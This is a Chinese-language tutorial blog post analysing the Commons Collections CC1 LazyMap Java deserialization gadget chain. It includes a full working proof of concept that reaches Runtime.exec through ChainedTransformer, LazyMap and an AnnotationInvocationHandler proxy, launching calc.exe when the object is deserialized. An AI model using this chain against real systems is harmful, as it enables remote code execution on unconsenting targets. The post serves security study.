赞
踩
上一篇文章我们看了Java动态代理的概念,而cc1中的LazyMap链就用到这个概念,现在来做个简单的剖析。
简而言之就是当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口。
首先我们先看一下代码:
package org.example.cc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class cc1Demo2 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
transformers数组和new一个ChainedTransformer对象都是一样的,不一样的是TransformedMap链条需要手动put一个key/vaule才能触发我们的反序列化,而LazyMap链条是在其get方法中执行的factory.transform,代码分析LazyMap中的get函数:
当在get找不到值的时候,它会调用factory.transform方法去获取一个值。
看代码中的实例化LazyMap对象的decorate方法:
跟进LazyMap类的decorate函数,看一下里面的作用:
返回的是一个LazyMap对象。
get方法中的factory就是我们传入的transformerChain,也就是说,只要调用了get方法,并且Map对象中的没有key,就可以触发ChainedTransformer的transform方法,从而实现transformers数组进行回调,进而执行命令。
现在的问题就是要找一个调用get方法的类:
在AnnotationInvocationHandler类的invoke方法中调用了get方法:
那又要如何调用到invoke方法;
P牛的文章中说到:
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
下面这段代码就用到了java的动态代理,如果不了解的可以看我的上一篇文章
代码片段:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Proxy.newProxyInstance中的三个参数上篇文章也说的很详细了,第一个参数是动态代理要实现的类加载的类,第二个对象是需要代理对象的集合,第三个是代理类,代理类中是我们实现的代码,包含了代理的具体逻辑。
代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
最后成功命令执行:
参考:
http://121.40.251.109/2021/07/16/2021-7-16-ysoserial%E7%B3%BB%E5%88%97-CommonsCollections1%E9%93%BE%E5%88%86%E6%9E%90/
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。